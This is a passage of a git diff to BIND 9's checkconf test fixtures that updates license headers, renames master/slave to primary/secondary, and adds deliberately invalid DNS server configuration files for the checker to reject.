  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -11,7 +13,7 @@
 
 view override_bind chaos {
 	zone "version.bind" chaos {
-		type master;
+		type primary;
 		database "_builtin version";
 	};
 };
diff --git a/bin/tests/system/checkconf/altdlz.conf b/bin/tests/system/checkconf/altdlz.conf
index 8633197166..db8eecc4cf 100644
--- a/bin/tests/system/checkconf/altdlz.conf
+++ b/bin/tests/system/checkconf/altdlz.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -15,7 +17,7 @@ dlz external {
 };
 
 zone "example.com" {
-	type master;
+	type primary;
 	dlz external;
 };
 
diff --git a/bin/tests/system/checkconf/ancient.conf b/bin/tests/system/checkconf/ancient.conf
index 2723eb824e..98189cc0f0 100644
--- a/bin/tests/system/checkconf/ancient.conf
+++ b/bin/tests/system/checkconf/ancient.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-acl.conf b/bin/tests/system/checkconf/bad-acl.conf
index 02d1cc0d10..5095059b48 100644
--- a/bin/tests/system/checkconf/bad-acl.conf
+++ b/bin/tests/system/checkconf/bad-acl.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-also-notify.conf b/bin/tests/system/checkconf/bad-also-notify.conf
index bf27dab0a6..2ab8896c90 100644
--- a/bin/tests/system/checkconf/bad-also-notify.conf
+++ b/bin/tests/system/checkconf/bad-also-notify.conf
@@ -1,20 +1,22 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 /*
- * Missing master in also-notify clause.
+ * Missing primary in also-notify clause.
  */
 
 zone dummy {
-	type master;
+	type primary;
 	file "xxxx";
 	also-notify { xxxx; };
 };
diff --git a/bin/tests/system/checkconf/bad-catz-zone-dup.conf b/bin/tests/system/checkconf/bad-catz-zone-dup.conf
new file mode 100644
index 0000000000..08fae428c1
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-catz-zone-dup.conf
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	catalog-zones { zone example.com; zone example.com; };
+};
+
+zone example.com {
+	type primary;
+	file "example.com";
+};
diff --git a/bin/tests/system/checkconf/bad-catz-zone-primary-dup.conf b/bin/tests/system/checkconf/bad-catz-zone-primary-dup.conf
new file mode 100644
index 0000000000..55a2d7825e
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-catz-zone-primary-dup.conf
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	catalog-zones {
+		zone "catalog.example"
+			default-masters { 10.53.0.1; }
+			default-primaries { 10.53.0.1 port 5304; }
+			in-memory yes;
+	};
+};
+
+zone "catalog.example" {
+    type secondary;
+    file "catalog.example.db";
+    primaries { 10.53.0.1; };
+};
diff --git a/bin/tests/system/checkconf/bad-catz-zone.conf b/bin/tests/system/checkconf/bad-catz-zone.conf
index 429a21456d..6f0677abeb 100644
--- a/bin/tests/system/checkconf/bad-catz-zone.conf
+++ b/bin/tests/system/checkconf/bad-catz-zone.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-checkdstype-level.conf b/bin/tests/system/checkconf/bad-checkdstype-level.conf
new file mode 100644
index 0000000000..f3bc1ad558
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-checkdstype-level.conf
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+/*
+ * checkds only allowed at zone level
+ */
+
+options {
+	checkds no;
+};
+
+zone dummy {
+	type primary;
+	file "xxxx";
+};
diff --git a/bin/tests/system/checkconf/bad-checkdstype.conf b/bin/tests/system/checkconf/bad-checkdstype.conf
new file mode 100644
index 0000000000..56cd367ad3
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-checkdstype.conf
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+/*
+ * Bad checkds type
+ */
+
+zone dummy {
+	type primary;
+	file "xxxx";
+	checkds foobar;
+};
diff --git a/bin/tests/system/checkconf/bad-checknames-primary-dup-2.conf b/bin/tests/system/checkconf/bad-checknames-primary-dup-2.conf
index 5ac12cce9c..24e6ef9f33 100644
--- a/bin/tests/system/checkconf/bad-checknames-primary-dup-2.conf
+++ b/bin/tests/system/checkconf/bad-checknames-primary-dup-2.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-checknames-primary-dup.conf b/bin/tests/system/checkconf/bad-checknames-primary-dup.conf
index b0934fac69..e746e84534 100644
--- a/bin/tests/system/checkconf/bad-checknames-primary-dup.conf
+++ b/bin/tests/system/checkconf/bad-checknames-primary-dup.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-checknames-secondary-dup.conf b/bin/tests/system/checkconf/bad-checknames-secondary-dup.conf
index f60a84dfac..ea83d7ecf5 100644
--- a/bin/tests/system/checkconf/bad-checknames-secondary-dup.conf
+++ b/bin/tests/system/checkconf/bad-checknames-secondary-dup.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-dnskey-validity.conf b/bin/tests/system/checkconf/bad-dnskey-validity.conf
deleted file mode 100644
index 16beccf527..0000000000
--- a/bin/tests/system/checkconf/bad-dnskey-validity.conf
+++ /dev/null
@@ -1,14 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-options {
-	dnskey-sig-validity 5000;	/* maximum value 10 years, this is 14 */
-};
diff --git a/bin/tests/system/checkconf/bad-dnssec.conf b/bin/tests/system/checkconf/bad-dnssec.conf
index 9db164ed28..b6974eb86c 100644
--- a/bin/tests/system/checkconf/bad-dnssec.conf
+++ b/bin/tests/system/checkconf/bad-dnssec.conf
@@ -1,29 +1,27 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 zone not-inline {
-	type slave;
-	masters { 127.0.0.1; };
+	type secondary;
+	primaries { 127.0.0.1; };
 	inline-signing no;
-	dnssec-dnskey-kskonly yes;
-	update-check-ksk yes;
 	dnssec-loadkeys-interval 10;
 
 };
 
 zone inline {
-	type slave;
-	masters { 127.0.0.1; };
+	type secondary;
+	primaries { 127.0.0.1; };
 	inline-signing yes;
-	dnssec-dnskey-kskonly yes;
-	update-check-ksk yes;
 	dnssec-loadkeys-interval 10;
 };
diff --git a/bin/tests/system/checkconf/bad-doh-1.conf b/bin/tests/system/checkconf/bad-doh-1.conf
index 1d63d9765a..a10a236877 100644
--- a/bin/tests/system/checkconf/bad-doh-1.conf
+++ b/bin/tests/system/checkconf/bad-doh-1.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-doh-2.conf b/bin/tests/system/checkconf/bad-doh-2.conf
index 3f6d991c67..c797eee79d 100644
--- a/bin/tests/system/checkconf/bad-doh-2.conf
+++ b/bin/tests/system/checkconf/bad-doh-2.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-doh-3.conf b/bin/tests/system/checkconf/bad-doh-3.conf
index ff697ef578..7447a01b2e 100644
--- a/bin/tests/system/checkconf/bad-doh-3.conf
+++ b/bin/tests/system/checkconf/bad-doh-3.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-doh-badpath-1.conf b/bin/tests/system/checkconf/bad-doh-badpath-1.conf
new file mode 100644
index 0000000000..9a0f449e9d
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-doh-badpath-1.conf
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+# bad HTTP location
+http local-http-server {
+	endpoints { "dns-query"; };
+};
+
+options {
+	listen-on port 8080 tls none http local-http-server { 10.53.0.1; };
+};
diff --git a/bin/tests/system/checkconf/bad-doh-badpath-2.conf b/bin/tests/system/checkconf/bad-doh-badpath-2.conf
new file mode 100644
index 0000000000..e8013ee7cc
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-doh-badpath-2.conf
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+# bad HTTP location
+http local-http-server {
+	endpoints { "//"; };
+};
+
+options {
+	listen-on port 8080 tls none http local-http-server { 10.53.0.1; };
+};
diff --git a/bin/tests/system/checkconf/bad-doh-badpath-3.conf b/bin/tests/system/checkconf/bad-doh-badpath-3.conf
new file mode 100644
index 0000000000..fc5464c78d
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-doh-badpath-3.conf
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+# bad HTTP location
+http local-http-server {
+	endpoints { "/dns-query?dns="; };
+};
+
+options {
+	listen-on port 8080 tls none http local-http-server { 10.53.0.1; };
+};
diff --git a/bin/tests/system/checkconf/bad-doh-default.conf b/bin/tests/system/checkconf/bad-doh-default.conf
new file mode 100644
index 0000000000..dce7fe697e
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-doh-default.conf
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+# 'default' is a built-in configuration intended to be used in
+# 'listen-on' statements
+http default {
+	endpoints { "/dns-query"; };
+	listener-clients 100;
+	streams-per-connection 100;
+};
diff --git a/bin/tests/system/checkconf/bad-doh-duplicates.conf b/bin/tests/system/checkconf/bad-doh-duplicates.conf
new file mode 100644
index 0000000000..a598d07369
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-doh-duplicates.conf
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+tls local-tls {
+	key-file "key.pem";
+	cert-file "cert.pem";
+};
+
+http local-http-server {
+	endpoints { "/dns-query"; };
+	listener-clients 100;
+	streams-per-connection 100;
+};
+
+# duplicated HTTP configuration
+http local-http-server {
+	endpoints { "/dns-query"; };
+	listener-clients 100;
+	streams-per-connection 100;
+};
+
+options {
+	listen-on { 10.53.0.1; };
+	http-port 80;
+	https-port 443;
+	http-listener-clients 100;
+	http-streams-per-connection 100;
+	listen-on port 443 tls local-tls http local-http-server { 10.53.0.1; };
+	listen-on port 8080 tls none http local-http-server { 10.53.0.1; };
+};
diff --git a/bin/tests/system/checkconf/bad-dot-1.conf b/bin/tests/system/checkconf/bad-dot-1.conf
index 5df1acacc6..436a2699e8 100644
--- a/bin/tests/system/checkconf/bad-dot-1.conf
+++ b/bin/tests/system/checkconf/bad-dot-1.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/bad-dot-allow-transfer-bad-port.conf b/bin/tests/system/checkconf/bad-dot-allow-transfer-bad-port.conf
new file mode 100644
index 0000000000..7d807fdb51
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-dot-allow-transfer-bad-port.conf
@@ -0,0 +1,18 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+zone "example1" {
+	type primary;
+	file "example1.db";
+	allow-transfer port 99999 { any; };
+};
diff --git a/bin/tests/system/checkconf/bad-dot-allow-transfer-bad-proto-1.conf b/bin/tests/system/checkconf/bad-dot-allow-transfer-bad-proto-1.conf
new file mode 100644
index 0000000000..cba555786e
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-dot-allow-transfer-bad-proto-1.conf
@@ -0,0 +1,18 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+zone "example1" {
+	type primary;
+	file "example1.db";
+	allow-transfer port 44344 transport blah { any; };
+};
diff --git a/bin/tests/system/checkconf/bad-dot-allow-transfer-bad-proto-2.conf b/bin/tests/system/checkconf/bad-dot-allow-transfer-bad-proto-2.conf
new file mode 100644
index 0000000000..e7725922c3
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-dot-allow-transfer-bad-proto-2.conf
@@ -0,0 +1,18 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+zone "example1" {
+	type primary;
+	file "example1.db";
+	allow-transfer port 44344 transport udp { any; };
+};
diff --git a/bin/tests/system/checkconf/bad-dot-allow-transfer-bad-proto-3.conf b/bin/tests/system/checkconf/bad-dot-allow-transfer-bad-proto-3.conf
new file mode 100644
index 0000000000..22956d272b
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-dot-allow-transfer-bad-proto-3.conf
@@ -0,0 +1,18 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+zone "example1" {
+	type primary;
+	file "example1.db";
+	allow-transfer port 44344 transport http { any; };
+};
diff --git a/bin/tests/system/checkconf/bad-dot-allow-transfer-bad-proto-4.conf b/bin/tests/system/checkconf/bad-dot-allow-transfer-bad-proto-4.conf
new file mode 100644
index 0000000000..dfc779467e
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-dot-allow-transfer-bad-proto-4.conf
@@ -0,0 +1,18 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+zone "example1" {
+	type primary;
+	file "example1.db";
+	allow-transfer port 44344 transport http-plain { any; };
+};
diff --git a/bin/tests/system/checkconf/bad-dot-badciphers.conf b/bin/tests/system/checkconf/bad-dot-badciphers.conf
new file mode 100644
index 0000000000..42a9f64325
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-dot-badciphers.conf
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+tls local-tls {
+	key-file "key.pem";
+	cert-file "cert.pem";
+	ciphers "$bad:ciphers";
+};
+
+options {
+	listen-on port 853 tls local-tls { 10.53.0.1; };
+};
diff --git a/bin/tests/system/checkconf/bad-dot-badprotocol.conf b/bin/tests/system/checkconf/bad-dot-badprotocol.conf
new file mode 100644
index 0000000000..f1cc15adda
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-dot-badprotocol.conf
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+tls local-tls {
+	key-file "key.pem";
+	cert-file "cert.pem";
+	protocols { unknown; TLSv1.2; }; # bad TLS protocol version name
+};
+
+options {
+	listen-on port 853 tls local-tls { 10.53.0.1; };
+};
diff --git a/bin/tests/system/checkconf/bad-dot-duplicatetls.conf b/bin/tests/system/checkconf/bad-dot-duplicatetls.conf
new file mode 100644
index 0000000000..508290f90b
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-dot-duplicatetls.conf
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+tls local-tls {
+	key-file "key.pem";
+	cert-file "cert.pem";
+};
+
+tls local-tls {
+	key-file "key.pem";
+	cert-file "cert.pem";
+};
+
+options {
+	listen-on port 853 tls local-tls { 10.53.0.1; };
+};
diff --git a/bin/tests/system/checkconf/bad-dot-ephemeral.conf b/bin/tests/system/checkconf/bad-dot-ephemeral.conf
new file mode 100644
index 0000000000..c9581f2142
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-dot-ephemeral.conf
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+# ephemeral is reserved for internal use
+tls ephemeral {
+	key-file "key.pem";
+	cert-file "cert.pem";
+};
+
+options {
+	listen-on port 853 tls ephemeral { 10.53.0.1; };
+};
diff --git a/bin/tests/system/checkconf/bad-dot-nocert.conf b/bin/tests/system/checkconf/bad-dot-nocert.conf
new file mode 100644
index 0000000000..db02e9fd5e
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-dot-nocert.conf
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+tls local-tls {
+	key-file "key.pem";
+};
+
+http local-http-server {
+	endpoints { "/dns-query"; };
+	listener-clients 100;
+	streams-per-connection 100;
+};
+
+options {
+	listen-on { 10.53.0.1; };
+	http-port 80;
+	https-port 443;
+	http-listener-clients 100;
+	http-streams-per-connection 100;
+	listen-on port 443 tls local-tls http local-http-server { 10.53.0.1; };
+	listen-on port 8080 tls none http local-http-server { 10.53.0.1; };
+};
diff --git a/bin/tests/system/checkconf/bad-dot-nokey.conf b/bin/tests/system/checkconf/bad-dot-nokey.conf
new file mode 100644
index 0000000000..1d5c3c55af
--- /dev/null
+++ b/bin/tests/system/checkconf/bad-dot-nokey.conf
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
